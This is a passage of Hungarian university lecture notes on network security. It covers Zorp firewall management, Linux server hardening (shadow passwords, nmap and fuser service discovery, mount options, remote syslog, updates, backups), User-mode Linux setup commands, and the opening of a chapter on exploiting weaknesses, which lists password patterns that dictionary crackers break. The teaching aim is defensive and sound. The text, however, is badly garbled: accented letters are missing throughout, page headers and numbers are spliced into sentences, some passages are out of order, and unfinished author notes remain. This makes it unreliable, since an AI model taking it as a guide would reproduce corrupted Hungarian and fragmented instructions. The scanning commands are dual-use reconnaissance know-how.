ZMS: Zorp Management System Ez egy kzponti menedzsment szervert jelent, szintn Zorp OS-t ignyel. A feladatai:

Konfigurcik trolsa, sztosztsa

94

Hlzatok biztonsga Monitorozs, llapotfigyels PKI, kulcsmenedzsment

ZMC: Zorp Management Console Egy grafikus fellettel rendelkez kliens program a ZMS-hez, ebbl szintn tbb is lehet a rendszerben. Futhat Debian Linux-on vagy akr Windows-on is.

ZAS: Zorp Authentication Server

A ZAS az a ZMS-nek a rsze??? Hol van az a a rendszerben?

Egy j magyarz brt (mi hol van, mihez hogyan kapcsoldik) majd mg ksztek!

Egy Zorp rendszer konfigurcija a feladattl fgg. Egy nagy hlzat vdelme esetn valsznleg tbb tzfal node-ot fogunk alkalmazni, ZMCbl is tbb lehet, de ZMS-bl mindenkppen csak egy. Ez bizonyos rtelemben gyenge pontja a rendszernek (single point of failure), mert ha valamirt meghibsodik, akkor a rendszert nem lehet menedzselni. Viszont a rendszer ettl mg tovbb mkdik! Egy minimlis rendszerhez elg egyetlen Zorp tzfal node, s hasznlhatunk mg egy msik gpet, amin ZMS s egy ZMC is fut, vagy tehetjk a ZMS-t is a tzfal node-ra, s a ZMC-t pedig egy msik gpre, akr a rendszergazda notebookjra is, amit csak akkor kt a hlzatra, ha menedzselni szeretn a tzfalat, gy teht egyetlen dediklt gppel is megoldhatjuk a feladatot.

Tzfalak

95

A rendszer a rszei kztt (pl. ZMC-ZMS, ZMS-Zorp) ers kriptogrfin alapul biztonsgos kommunikcit (SSL) hasznl, ehhez sajt nyilvnos kulcs infrastruktrval (PKI) is rendelkezik (szabvnyos X.509 certificate-eket hasznl). Az els bejelentkezskor pedig egyszer hasznlatos jelszt (one time password) alkalmaz, amit a teleptskor kell megadni. 5.3.3. A forgalom engedlyezsnek lersa

Az iptables-szel szemben, itt nem szablyok vannak, hanem elszr znkat kell definilnunk, majd azok kztt adhatunk meg szolglatatsokat. A znk kztt leszrmazsi viszony lehet. A leszrmazsi viszony adminisztratv jelleg, nem jelent rszhalmazt. Az rtelme az, hogy a gyerek zna rkl a szl zntl. A szolgltatsok nvadsnak van egy olyan konvencija, hogy a nevben benne van, hogy honnan, mi s hova megy. Pldul az intra_HTTP_inter azt jelenti, hogy az intra znbl azt inter znba a HTTP szolgltatst engedlyezzk. Itt persze mg csak HTTP-nek neveztk a szolgltatst; azt, hogy milyen protokollt engedlyeznk, a HTTP proxy osztllyal hatrozzuk meg. Az iptables utn taln nem haszontalan hangslyozni, hogy olyannal, hogy vlaszcsomagok, itt termszetesen nem kell foglalkoznunk, hiszen az rsze a szolgltatsnak. A fentiekben a forgalomlersnak csak az alaptlett adtuk meg, ennl azrt mg jval sszetettebb a dolog (pl. listenerek/receiverek).

96 5.3.4. A rendszer konfigurlsa

Hlzatok biztonsga

A rendszer konfigurlsa sorn el kell indtanunk egy ZMC-t s az csatlakozik a ZMS-hez. Authentikci utn letlthetjk az aktulis konfigurcit s szerkeszthetjk a ZMC grafikus felletnek segtsgvel. Ettl mg a ZMS-ben trolt konfigurci vltozatlan marad! Ha megfelelnek tartjuk a belltsainkat, akkor feltlthetjk a ZMS-re, ha pedig valamit elhibztunk, akkor jra letlthetjk a ZMS-ben trolt belltsokat. Az ismt egy kln lps, hogy a ZMS-bl a tzfal node-okra ttltjk a konfigurcit s jraindtjuk a szolgltatsokat.

Linux szerverek biztonsgi krdsei

97

6. Linux szerverek biztonsgi krdsei


A fejezetben trgyalt tmakrk nem mertik ki a Linux szerverek biztonsgi krdseit s nagy rszk nem csupn a Linux, hanem UNIX s ms Unix szer opercis rendszerek esetn is hasznlhatk. A tma irnt mlyebben rdekldk szmra ajnlott olvasmny a Practical Unix & Internet Security c. knyv, amely tbb mint 900 oldalon trgyalja a klnfle Unix (szer) rendszerek biztonsgi krdseit. Ez a fejezet Jns Zsolt eladsnak felhasznlsval kszlt.

6.1.

A /etc/passwd fjl

A felhasznlk autentikcijhoz hagyomnyosan hasznlt megolds az, hogy a /etc/passwd fjl tartalmazza a felhasznl kdolt jelszavt. Mivel ennek a fjlnak trtnelmi okokbl (programok hasznljk a tartalmt) mindenki szmra olvashatnak kell lennie, az sszes felhasznl kpes a tbbiek (belertve a rendszergazda) kdolt jelszavt olvasni. Radsul a hagyomnyos jelszavak legfeljebb 8 karakter hosszak, st nmely rendszer ennl rvidebb jelsz belltst is megengedi. A helyzet mg ennl is rosszabb, mert a felhasznlk nagyon gyakran gyenge jelszavakat (pl. rjuk vagy krnyezetkre jellemz informci, rtelmes sz, vagy rtelmes sz kevs kiegsztssel) vlaszt, ami a sztras trst a kimert keressnl lnyegesen gyorsabb teszi. A tmad dolga mg knnyebb, ha nem a rendszergazda (egy konkrt s j esetben gondos szemly) jelszavt igyekszik megszerezni, hanem csak valamely

98

Hlzatok biztonsga

tetszleges felhasznlt. (Pldul azrt, hogy annak nevben kvessen el tmadst ms rendszerek ellen.) Egy sokfelhasznls rendszerben vrhatan akadnak nagyon gondatlan felhasznlk! A legltalnosabb vdekezs az, hogy a kdolt jelszavakat nem a mindenki szmra olvashat /etc/passwd fjlban, hanem a vdett /etc/shadow fjlban troljk. A biztonsgot tovbb nveli, ha a jelszavak kdolsra nem a DES alap crypt() fggvnyt, hanem valamilyen hosszabb jelszavakat megenged (s nem csupn megenged, hanem rtelmesen ki is hasznl) titkostst (pl. MD5 vagy SHA-*) alkalmaznak. A jelszavak helyes megvlasztsra mg visszatrnk. Termszetesen a felhasznl azonostsra hasznlhatunk ms

megoldsokat is, pl. NIS, NIS+, LDAP, Kerberos. Fontos a jelszavak titkos kezelse (pl. nem ragasztjuk fel cetlit a monitorra) s rendszeres, ktelez rvny cserje.

6.2.

Az inetd szuperszerver

Az inetd szuperszerver tipikus tmadsi pont lehet, hiszen brmely pontjn sikerl is feltrni, mris az sszes szolgltatst birtokba veheti a tmad. Linux diszribcitl fggen alapbelltsokkal tbb vagy kevesebb felesleges s/vagy nem biztonsgos szolgltatst is elindt, ezeket mindenkppen tiltsuk le. Ha lehetsges, ne hasznljuk, m a standalone

Linux szerverek biztonsgi krdsei

99

mdban fut szolgltatsok ugyangy lehetnek flslegesek s/vagy nem biztonsgosak!

6.3.

Szolgltatsok feldertse

Egy frissen teleptett rendszeren mindenkppen meg kell vizsglni, hogy milyen szolgltatsok futnak, erre hasznlhat az nmap parancs. Ennek lehetsges opcii:

nmap

-sT

csak a TCP portokat derti fel ez az

alaprtelmezett!

nmap -sU csak az UDP portokat derti fel nmap -sP <hlzatcm netmaszkkal> megnzi mely gpek rhetek el az adott IP cm tartomnyban

Fontos, hogy az alaprtelmezs szerint vizsglt TCP portokon kvl az UDP portokat is megvizsgljuk, mert UDP-n fut szolgltatsokon keresztl is fel lehet trni egy rendszert! Ha mr kidertettk, hogy milyen portok vannak nyitva, akkor szeretnnk azt is tudni, hogy mely program hasznlja az adott portot. Pldul a 80-as TCP porton figyel szolgltats lekrdezse: fuser -vn tcp 80

100

Hlzatok biztonsga

A szervereinket ltalban egy tzfal vdi, de ekkor is tancsos minden szerveren is egy iptables alap tzfalat hasznlni s alaprtelmezsben minden portot tiltani, kivtel amit s amilyen irnybl engedlyezni szksges. Gondoljunk arra, hogy a DMZ-ben tallhat szervereket egymstl is vdeni kell!

6.4.

Egy biztonsgos Linux szerver kialaktsa

Lssunk egy pldt, hogyan kell egy Linux kiszolglt relis biztonsgra trekedve kialaktani. A relis biztonsg mrtke a kiszolgl cljtl fgg. Ne gondoljuk azt, hogy rendszernk hibtlan, st szmtsunk a betrsekre. Fontos a megfelel naplzs, mert a rendszerek jelents rszt ppen azrt trik fel, hogy az adott gprl tmadjanak ms gpeket. Ilyenkor a tmad leleplezsben s sajt magunk jogi vdelmben is nagy szerepe van a sikeres betrs ellenre megrztt naplfjloknak. (Ennek a mdjra visszatrnk.) 6.4.1. Partcik kiosztsa A

A partcik kiosztsa nagy mrtkben fgg a szerver cljtl.

naplfjlok szmra mindenkppen rdemes kln partcit hasznlni, amit vlasszunk kellen nagyra, hogy mg a tmad kifejezett ilyen szndka esetn sem sikerljn knnyen megtltenie. A kell mret ismt csak a feladattl fgg, egy nvkiszolglnl zemszeren viszonylag keveset kell naplzni, mg a webszervernl ltalban szeretnnk ltni, hogy kik s

Linux szerverek biztonsgi krdsei

101

milyen gyakran rik el az oldalainkat, ezek kzl is melyek a npszerbbek, stb. A partcikon alkalmazott fjlrendszer tpust is a partci cljnak megfelelen vlasszuk meg, az ext3 ltalban megfelel, nagyon sok kis fjl esetn j vlaszts lehet a reiserfs, nagy multimdis llomnyok esetn pedig az xfs. Egy szerveren felhasznlk csak akkor vannak, ha kifejezetten ez a clja a rendszernek. Ebben az esetben a felhasznlk ltal rhat knyvtrakat tegyk kln partcira s kvtzzuk. Ilyen a felhasznlk knyvtrait tartalmaz (pl. /home) knyvtr, a /tmp s a felhasznlk postafikjai (pl. /var/mail vagy /var/spool, ahol a postafikokon kvl esetleg a nyomtatsi sorok is tallhatk). rdemes ezeket egymstl elklntve trolni s kvtzni. A felhasznlk ltal rhat partcikat nosuid opcival mountoljuk fel, s amennyiben krnyezet hinya), akkor noexec opcival is. Minden olyan knyvtrat, amelyekbe a szerver norml mkdse sorn nem kell rni (pl. /usr, /opt), ro opcival mountoljuk fel! Ezeket a knyvtrakat akr msik gprl (ahol csak olvashatan exportltuk) NFSen keresztl is felmountolhatjuk. Lssunk egy pldt egy ltalnos cl szerver esetn a partcikiosztsra s a mountolsi opcikra: megtehet (lsd fejleszti

102
/ /home /opt /tmp /usr /var /var/log /var/mail /var/www

Hlzatok biztonsga
errors=remount-ro defaults,noexec,nosuid,usrquota,grpquota defaults,ro defaults,noexec,nosuid defaults,ro defaults defaults,noexec,nosuid defaults,noexec,nosuid,usrquota,grpquota defaults,noexec,nosuid,usrquota,grpquota

6.4.2.

Fejleszti krnyezet hinya

A PC-k elterjedsvel egyidejleg a szerverek feladata jelentsen megvltozott. Mivel a felhasznlk szemlyi szmtgpei teljestmnykben sszemrhetk a szerverekkel (st nha jobbak), ezrt programfejlesztsre ltalban nem kell a szervereket hasznlni. Ekkor pedig br a rendszergazda szmra ez tbbletmunkt, kellemetlensget okozhat a biztonsg szempontjbl elnys lehet a fejleszti krnyezet hinya. Ez termszetesen nem abszolt vdelem, mert a programokat binris formban is be lehet juttatni, de ezeknek egy proxytzfalon val tjuttatsval, vagy egzotikus architektrra ms gpen trtn lefordtsval jr nehzsg arra indthatja a tmadt, hogy inkbb egy msik gpet trjn fel. (Klnsen akkor, ha nem az adott gpre, hanem egy szmra alkalmas gpre fj ppen a foga.) Amennyiben nincs szksg a szerveren a fejleszti krnyezetre, akkor ha lteznek is felhasznlk, a noexec is megengedhet, majd legfeljebb megkrik a rendszergazdt, hogy tegye fel nekik a kvnt programot. (Ez azzal a haszonnal is jr, hogy nem fogjk a felhasznlk ugyanazt a programot tbb pldnyban maguknak feltelepteni.)

Linux szerverek biztonsgi krdsei 6.4.3. Szolgltatsok s interaktv szerverek kln

103

Termszetesen lehetnek olyan esetek, amikor a szerver (egyik) f clja az, hogy a felhasznlk interaktvan bejelentkezve dolgozzanak rajta. (Pldul oktatsi intzmny esetn valamely kereskedelmi UNIX oktatsa, de egy szegny iskolban akr a Linux oktatsa is, pl. nagyon rgi PC-krl egy ersebb Linux szerverre jelentkeznek be a tanulk s ott ismerkednek a C programozssal. Ekkor mg fejleszti krnyezetre is szksg van!) Ilyen esetben a biztonsgra val trekvs megkveteli, hogy legalbb kt kln szervert hozzunk ltre, egyet az interaktv bejelentkezst nyjt szolgltatsoknak, s egy msikat az egyb szolgltatsok (DNS, web, FTP, samba, stb.) rszre. Tovbbi vdelmet nyjthat, ha a klnbz szolgltatsok rszre kln szervereket zemeltetnk, gy valamely szolgltats s az azt nyjt gp feltrse a msik gpeket s a rajtuk fut szolgltatsokat nem rinti. Ennek egy kltsghatkony virtulis megoldsra ad lehetsget a hamarosan ismertetsre kerl User-mode Linux. Akr teljestmnyigny, akr hardver hibatrs szempontjbl rtelmes megolds lehet ugyanazon szolgltatsnak tbb gpen val futtatsa. (Pl. nagy forgalm webszerver, ahol akr a DNS szerver ad vissza mindig msik IP cmet, akr a tzfal osztja szt a bejv krseket.) 6.4.4. Kln napl (log) szerver

Egy komolyabb tmad termszetesen eltnteti maga utn a nyomokat, azaz trli, esetleg meghamistja a naplfjlokat. Ha egy gpet a tmad mr

104

Hlzatok biztonsga

hatalmba kertett, akkor ezt azon a gpen kpes is megtenni. Ezrt rdemes a naplfjlokat egy msik szerverre is elkldeni. Mieltt erre rtrnnk, tekintsk t a naplzssal kapcsolatos alapvet tudnivalkat! A hagyomnyos syslog mkdse A naplzst a syslogd vgzi, s a /etc/syslog.conf fjlban tallhatk a belltsai. Ez a fjl sor orientlt, azaz minden sora egy bejegyzsnek szmt. (A szokott mdon a sor vgn lev \ karakterrel tbb sor egy sorr kapcsolhat ssze.) Egy sor kt mezbl ll: az els a kivlaszt (selector), a msodik a teend (action). A kettt szkz(k) s/vagy tabulor(ok) vlasztj(k) el. A kivlaszt mez is kt rszbl ll, amelyeket egy pont (.) kapcsol ssze. A pont eltt tallhat rsz a naplzsi zenet szrmazst (facility) jelenti, ezek lehetnek: auth, auth-priv, cron, daemon, ftp, kern, lpr, mail, mark, news, syslog, user, uucp s local0 local7. A pont utni rsz az esemny slyossgt fejezi ki, ezek slyossg szerint nvekv sorrendben a kvetkezk: debug, info, notice, warning, err, crit, alert, emerg. A teend pedig azt fejezi ki, hogy a naplzsi zenetet hova kell kldeni. Ez lehet pldul:

fjlnv a teljes tvonallal egytt, pl.: /var/log/auth.log azon felhasznlk listja (vesszvel elvlasztva) akik rtestst kapjanak (ha be vannak jelentkezve), pl.: root, jonci vagy ha minden bejelentkezett felhasznlnak, akkor: *

Linux szerverek biztonsgi krdsei

105

naplz szerver neve (vagy IP cme), pl.: @logserver.tilb.sze.hu

A naplfjlok helye ltalban a /var/log knyvtr. A logrotate program a /etc/logrotate.conf fjlban tallhat belltsok alapjn tipikusan hetente a naplfjlokat rotlja, azaz, az egyes fjlok legregebbikt letrli, s az jabbak mindegyikt regti 1-gyel. A syslog-ng mkdse A syslog-ng lerst megtalljk a Hlzati opercis rendszerek trgy jegyzetben! Kln napl szerver megvalstsa s elnye A naplzsi alapismeretek ttekintse utn trjnk vissza a biztonsgra! Teht lehetsgnk van r, hogy a naplfjlokat ne csupn helyben troljuk, hanem egy msik gpen is. Ennek clja lehet a rendszergazda munkjnak megknnytse is azltal, hogy az sszes ltala felgyelt gp naplfjljait egy helyre gyjtjk, de klnsen nagy lehet a biztonsgi haszna! Az zenetek kldse ugyanis UDP protokoll fltt trtnik, ezrt elg, ha a naplkat trol szerverre csak a kijellt gpek(ek)-rl az adott portra rkez bejv UDP forgalmat engedlyezzk, minden mst tiltunk. (A rendszergazda pedig csak a konzolrl jelentkezhet be.) A hlzati hibk kikszblsre bekthetnk minden gpet aktv eszkz nlkl, a logszerveren kln Ethernet krtyra keresztkbellel. Kellen paranois

106

Hlzatok biztonsga

esetben mg egy sornyomtatra is elkldhetjk a fontosnak tlt naplzsi zeneteket, csak gondoskodjunk elegend paprrl! ;-) Ha nem csupn utlag szeretnnk a naplkat elemezni, hanem aktvan szeretnnk vdekezni, akkor a biztonsg szempontjbl kritikus zeneteket e-mailben vagy SMS-ben elkldhetjk az gyeletes rendszergazdnak... Ezt persze a meghibsodsra utal zenetekkel is megtehetjk a megfelel rendelkezsre lls biztostsa rdekben. 6.4.5. Kernelfordts

Vannak akik vitatjk, hogy rdemes-e sajt kernelt fordtani. Az egyes disztribcik ugyanis gyis megpatchelik a http://kernel.org-rl szrmaz n. vanilla kernelt. Az egyes Linux disztribcik biztonsgi szintje jelentsen eltr. Sokan a teljestmnyre, a knyelemre s a minl tbb hardver tmogatsra koncentrlnak, nmelyek pedig a biztonsgra. Az utbbiak kz tartozik a Trusted Debian nven indul, ksbb Adamantix nevet visel projekt is. A kvetkez link sajnos ma (2008. 04. 02.) mr teljesen msra mutat: http://www.adamantix.org (A projekt vgt valsznsti a kvetkez hr: http://hup.hu/node/38328. Ami maradt belle: http://distrowatch.com/table.php?distribution=adamantix) tbbek kztt tartalmazta a PaX patch-et, ami (Az a Adamantix

puffertlcsordulsos tmadsokat hivatott megakadlyozni, pldul gy, hogy ne tudjon a tmad a verem (stack) vagy a heap terletn utastsokat vgrehajtani. A tmval ksbb rszletesebben foglalkozunk. rdekldknek: http://pax.grsecurity.net)

Linux szerverek biztonsgi krdsei

107

A hozzrtk valsznleg fordtanak maguknak sajt kernelt, s csak azt fordtjk bele, amire valban szksgk van. (Tbb kdban tbb a hibalehetsg is.) Mivel egy szerver hardver konfigurcijt nem szoktuk gyakran vltoztatni megtehetjk, hogy a sajt kernelnkben minden eszkzmeghajtt statikusan belefordtunk, amire szksgnk van, s megszntetjk a modulok betltsnek lehetsgt. Ekkor a tmad sem fog tudni (msik kernel betltse, azaz jraindts nlkl) pl. olyan modult betlteni, ami lthatatlann tesz bizonyos modulokat, processzeket. Patch-elsrl nem rtam, azt meg kellett volna tanulniuk Linuxbl... 6.4.6. Frisstsek

A biztonsgi frisstsek clja a hibk kijavtsa. A felfedezett biztonsgi rseket be kell tmni. Viszont minden frisstssel jabb hibk kerlhetnek a rendszerbe. Teht a biztonsgi frisstseket felteleptjk, egyb frisstsekkel pedig ha lehetsges rdemes vrni, amg msok megtalljk az esetleges hibkat bennk. Termszetesen az ltalunk hasznlt disztribci tkrszerverei sem abszolt biztonsgosak, st a korbban ismertetett DNS elleni tmadssal szemben teljesen vdtelenek, ezrt biztonsgkritikus esetben rdemes lehet tbb klnbz tkrszerverrl letlttt md5sum s SSHA ellenrz sszeg felhasznlsval meggyzdnnk arrl, hogy srtetlen-e amit felteleptnk. Ez termszetesen nem csupn a frisstsekre, hanem a teleptsre is vonatkozik. Ha igazn paranoisak vagyok, akkor legalbb

108

Hlzatok biztonsga

kt megbzhat szllttl vsrolt CD-rl szrmaz ellenrzsszegszmt programot hasznlunk! ;-) Frissts esetn az jraindts ideje jelents lehet, klnsen, ha tbb processzor s merevlemez egysg van a rendszerben. 6.4.7. Mentsek

Mind az adatokrl, mind a rendszerrl rendszeresen mentseket kell kszteni. Meg kell gyzdni arrl is, hogy a mentsekbl a rendszer is, s az adatok is tnylegesen visszallthatk. A mentsek adathordozit is megfelel biztonsgi krlmnyek kztt kell trolni. Ez jelenti egyrszt titkossgi szintnek megfelel titokvdelmet, (pldul elzrt szekrny, pnclszekrny, fegyveres biztonsgi r ami indokolt) msrszt a katasztrfavdelmet (pldul eltr telephelyen tzll szekrnyben, atomtmads ellen is vd bunkerben ismt a szksges szint vdelem, de a vdelemnek az esetleges fizikai szlltsra is ki kell terjednie). Amennyiben az adatok titkosak (akr a rendszer mentse is lehet titkos), akkor szksgtelenn vls esetn gondoskodni kell a megfelel megsemmistskrl is. Mentsek sorn kln oda kell figyelni a kulcsok, tanstvnyok kezelsre (pl. titkos kulcs lejrat utni titkos megrzse). 6.4.8. Dokumentci

Ez az a pont, amirl a rendszergazdk szvesen elfeledkeznek, vagy szvesen hagynak a munka vgre (aztn nem kszl el). Pedig rendkvl fontos, hogy a rendszert annak ltrehozsakor dokumentljuk. Egyrszt

Linux szerverek biztonsgi krdsei

109

ekkor van meg a kellen pontos informci, ami az id elteltvel egyre fogy, msrszt az id elrehaladtval annak a valsznsge is cskken, hogy a rendszert egyltaln dokumentljk. Semmikppen sem tancsos egy les rendszert dokumentci nlkl tvenni. m a dokumentci ksztse a rendszer tadsval nem fejezdhet be. A rendszer lnyeges esemnyeit az zemeltets sorn folytonosan dokumentlni kell (pl. gpknyv). A dokumentci is lehet bizalmas, amirt az illetktelen hozzfrstl (termszetesen az esetleges meghamiststl is) vdeni kell, tovbb vdeni kell a megsemmislstl is (ne az adott gpen troljuk a gpknyvet elektronikus formban). 6.4.9. Tovbbi mdszerek, gyeskedsek

Egy rdekes megolds a busybox. Ekkor a rendszerben hasznlatos parancsokat (vagy azok nagy rszt) egyetlen egy binris llomnnyal valstjk meg. Ezzel bizonyos mrtkben megneheztik a tmad dolgt, nem olyan knny pldul egyes parancsokat lecserlnie az szrevtlen tevkenykeds rdekben. A szabvnyoktl, konvenciktl val eltrsek (pl. parancsok tnevezse, mkdsk megvltoztatsa, konfigurcis llomnyok ms knyvtrban s ms nven val trolsa, stb.) szintn kpesek a tmad tevkenysgt htrltatni. Az idnyeresg segtsget jelenthet a tmad leflelsben. De azrt ne feledkezznk el kt dologrl: egyrszt, hogy az algoritmikus adatvdelem tanulsga, hogy a biztonsgnak nem szabad azon alapulnia, hogy a tmad nem ismeri az algoritmust, msrszt pedig, hogy ez kell

110 dokumentci hinyban a

Hlzatok biztonsga rendszergazdnak is okozhat

kellemetlensgeket!

6.5.

User-mode Linux

Aki jrtas a korszer szoftver technolgiban, annak az UML-rl a Unified Modeling Language jut az eszbe. A webes tallatok tbbsge is arra irnyul, ezrt clszer User-mode Linux-knt keresni. A tovbbiakban az UML rvidts alatt mindig az utbbit rtjk. Az UML-lel kapcsolatban kt webhelyet rdemes megemlteni:

http://user-mode-linux.sourceforge.net az UML kernel honlapja http://usermodelinux.org az UML felhasznlk kzssgnek oldala (Nem jtt be a lap: 2008. 04. 02.)

6.5.1.

Mi a User-mode Linux?

Amint a neve is mutatja, az UML azt jelenti, hogy egy felhasznli processzknt fut Linux alatt egy msik Linux. A kls igazi Linux nevezzk most gazdnak szempontjbl ez (majdnem) ugyan olyan processz, mint az sszes tbbi. Bell pedig megvalst egy virtulis gphez hasonl virtulis Linux-os gp-et. De nem valst meg hardver emulcit, ez a lnyegi mszaki klnbsg pldul a VMware-hez (http://www.vmware.com) kpest. WMware alatt tetszleges opercis rendszert futtathatunk, nem csak Linuxot. Viszont az kereskedelmi

Linux szerverek biztonsgi krdsei

111

szoftver, az UML pedig szabad szoftver. Ha teht Linux alatt Linuxot szeretnnk futtatni, akkor az UML nem csupn bven megfelel, hanem lnyegesen elnysebb az ingyenessge s teljestmny okok miatt is, mivel nem tartalmaz hardver emulcit! De azrt az UML-nek is hozz kell frnie valahogyan a hardverhez, ehhez a gazda Linuxban szksg van kerneltmogatsra. Ez az, amiben az UML futtatsa tbbet kvn egy rendes processznl. Korbban az UML futtatshoz a gazda gp kernelben a skas (separate kernel address space) patch-re volt szksg, de a 2.6-os kernelben mr benne van ez a tmogats. Az UML egsz fjlrendszere a gazda Linux szintjn egyetlen fjl. Ezt termszetesen msolhatjuk, loop device-on keresztl a sajt fjlrendszernkbe felmountolva mdosthatjuk. Az UML-bl egyszerre tbb pldnyt is futtathatunk, ezek (a gazda Linux kerneln keresztl) egymssal s brmely ms gppel is kommuniklhatnak. Kivlan hasznlhat pldul tesztelsre is, nagy elnye, hogy nem kell tbb hardvert birtokolnunk, fradsgos munkval (mg ha ez azonos gpek esetn csupn image msols akkor is) felteleptennk. Mi most biztonsgi cllal fogunk megismerkedni vele. 6.5.2. A User-mode Linux teleptse

A Linux kernelbe az UML a 2.5 verziban kerlt bele, a stabil kernelek kzl a 2.6.9-tl mr nagyon jl mkdik.

112

Hlzatok biztonsga

Az UML az n. tun/tap megoldson keresztl hasznlja a gazda Linuxot a hardver elrsre. A tap a gazda Linux kernelben van, a tun pedig az UML kernelben. Egy megfelel verzij kernel esetn lltsunk el UML kernelt! make proper # eredeti konfigurcis llomnyok visszalltsa make menuconfig ARCH=um # hardver specifikus dolgok nlkli UML kernel make linux ARCH=um # a kernel a linux nev binris llomnyba kerl

Ksztsnk diszk image-et UML-hez! dd if=/dev/zero of=/tmp/uml.img bs=1M count=500 # 500MB mret res fjl ltrehozsa mkfs.XXX /tmp/uml.img # fjlrendszer ksztse, XXX a tpusa, pl. ext3 mount -o loop /tmp/uml.img /mnt felkapcsoljuk a gazda linux fjlrendszerbe debootstrap <megfelelen felparamterezve> # alap # az j fjlrendszert

debian rendszer ltrehozsa, amibl hinyoznak a belltsok, pl. fstab chroot /mnt ksztett lesz # egy shell indtsa, ahol a fjlrendszernk a most

Linux szerverek biztonsgi krdsei /dev/MAKEDEV ubd # ltrehozzuk a merevlemezek megfeleljt exit # kilpnk a chroot-olt shellbl

113

Indtsuk el az UML-t! linux ubd=<diszk konzol> image fjl> eth0=tuntap, zenetek ide

<gazdagpen a tap szma>, <MAC cm>, <IP cm>, con=<login con0=<bootolsi rdnak> # gy indtjuk el az UML-t Termszetesen mg akkor is sok gyakorlsra van szksgnk, ha esetleg elsre el is indulna az UML! 6.5.3. A User-mode Linux biztonsgi cl hasznlata

Mirt j neknk az UML? Korbban emltettk, hogy biztonsgi szempontbl elnys a klnbz szolgltatsokat kln gpeken futtatni. Legalbb az interaktv bejelentkezst klntsk el a tbbi szolgltatstl, de j lenne azokat is elklnteni egymstl. Ennyi gpet azonban beszerezni sem olcs, radsul karban is kell tartani ket. Most ahelyett, hogy olcs PC-kbl ptennk szerver farmot, elegend ha egy darab nagy teljestmny s nagy megbzhatsg gpet vsrolunk. (Tbb processzor, sok memria, redundns tpegysgek, hot swap merevlemezek legalbb RAID1-be ktve, szintn redundns s mkds kzben cserlhet ventilltorok, stb.) Erre egy gazda Linuxot teleptnk, amely szolgltatsokat gyakorlatilag nem nyjt, csak futtatja az UML-eket.

114

Hlzatok biztonsga

Azonban ne legynk naivak! Attl, hogy valami UML-ben van, mg nem lesz biztonsgos, csupn annyi az elnynk, hogy feltrs esetn a gazda Linuxon mg nincs root joga a tmadnak, s feltrs gyan esetn knnyen lecserlhet egy tiszta fjlbl futtatott UML-re. feleslegess biztonsgos Linux szerver kialaktsrl Ettl mg tanultakat, alaposan oda kell figyelni a bels biztonsgra! (Teht az UML nem tette ellenkezleg, csak azokkal egytt hasznlhat biztonsgi cllal!) Radsul a gazda gpet vd tzfal semmi vdelmet sem nyjt az egyik UML-bl a msik UML vagy a gazda Linux fel irnyul tmadsok ellen! Errl neknk kell gondoskodni, pl. egy iptables tzfallal! Az UML teht nem csodaszer, de megfelel szakrtelem s gondossg mellett hasznos eszkz lehet. Azt is meg kell emltenem, hogy br mi Tvkzls-informatika laborban a szervereinken jelenleg (2008 prilis) zemszeren csak UML-t hasznlunk, Sipcz Pter hallgatm szakdolgozata szerint a Xen jobb teljestmnyjellemzket mutat! A szakdolgozatot hamarosan elrhetv tesszk a labor honlapjn...

LDAP cmtr

115

7. LDAP cmtr
Ez a fejezet Jns Zsolt munkja http://www.openldap.org Minl tbb szolgltatst s programot hasznlnak egy intzmnyen bell, minl tbb helyen hasznlunk felhasznl-azonostst, annl nehezebb rendszergazdaknt kzben tartani a felhasznlk azonostst. Nagy segtsget jelent egy kzpontostott azonostsi rendszer. Egy kzponti adatbzis hasznlatval a biztonsg is nagymrtkben nvelhet. Azonban gondot jelenthet, ha ez a kzponti adatbzis valami oknl fogva elrhetetlenn vlik, ezrt clszer hibatr telepet hasznlni (HA, high availability magas rendelkezsre lls). GNU/Linux alatt az egyik legnpszerbb LDAP-kiszolgl (Lightweight Directory Access Protocol Pehelysly knyvtrhozzfrsi / cmtrhozzfrsi protokoll) program az OpenLDAP. Azonban j, ha tudjuk, hogy lteznek ms programok is, amelyek megvalstjk az LDAP-t. Ilyen pldul a Netscape Directory Server, a Sun ONE Directory Server s korltokkal ugyan, de a Microsoft Active Directory is a Windows 2000 szerverben. Megjegyzem, hogy a Novell NDS rendszerben alkalmazhatunk LDAP-illeszt interface-t, gy ez a rendszer is megfelelhet szksg esetn egy LDAP-kiszolglnak.

116

Hlzatok biztonsga

Az LDAP v3 protokoll, amelynek tmogatsa az OpenLDAP 2.0-s vltozatban jelent meg, kpes a TLS (Transport Layer Security Szlltsi rtegbeli biztonsg) alap vdelemre ezt a megoldst a bngszk s a levelezprogramok is hasznljk. A TLS az SSL (Secure Sockets Layer) utdja. Jonci, az LDAP-ot lgy szves rszletesebben fejtsd ki!

Biztonsgi rsek kihasznlsa

117

8. Biztonsgi rsek kihasznlsa


Ennek a fejezetnek a clja annak bemutatsa, hogy az egyes biztonsgi rsek valban kihasznlhatk, s valsgos veszlyt jelentenek. Az egyes tmadsok gyakorlati megvalstsa ltalban szigoran tilos, s slyos kvetkezmnyekkel jrhat (bntetjog, polgri jogi krtrtsi per). Az az elkpzels sem felel meg a valsgnak, hogy ha valaki nem rossz szndkkal ksrel meg betrni egy rendszerbe, azzal nem okoz krt. A betrsi ksrlet szlelse miatt szksges lpsek megttele is munkt, kltsget jelent a megtmadott rendszer karbantartja szmra. Termszetesen labor krlmnyek kztt, elre engedlyezett mdon (pl. a rendszerek biztonsgi tesztelse cljbl) szabad ksrletezni. Ez a fejezet Pnczl Zoltn eladsai alapjn kszlt.

8.1.

Jelszavak helyes megvlasztsa, sztras trs

A felhasznlk elszeretettel vlasztanak olyan jelszavakat, amelyek rjuk, vagy krnyezetkre jellemz informcin alapulnak. Pldul a felhasznl szemlyes neve vagy felhasznli neve, szletsi dtuma, lakhelye, hozz kzel ll szemly neve, aut mrka, hobbi, stb. Ez NAGYON hibs vlaszts, ersen megknnytheti a tmad dolgt (klnsen, ha ismeri a felhasznlt). A helyes jelszvlaszts minden felhasznl ktelessge, hiszen brmely felhasznl hanyagsga a teljes rendszert veszlybe sodorja. Amennyiben

118

Hlzatok biztonsga

ugyanis a tmadnak sikerlt egy rendszerbe bejutnia, mr sokkal tbb lehetsge van tovbbi biztonsgi rsek kihasznlsra. A ma elterjedt jelsztr programok keressi algoritmusa alapjn azt llthatjuk, hogy nem biztonsgosak az albbi jelsz csoportok:

szmok sztri szavak sztri sz + szm a sz elejn vagy vgn sztri sz kis s nagybetvel + szm a sz elejn vagy vgn (rgebben pl. a SzeRDa12 mg j volt)

sztri szavak bet helyett szmmal (leet) (pl. HELLO 43770, SZERDA 823RD1)

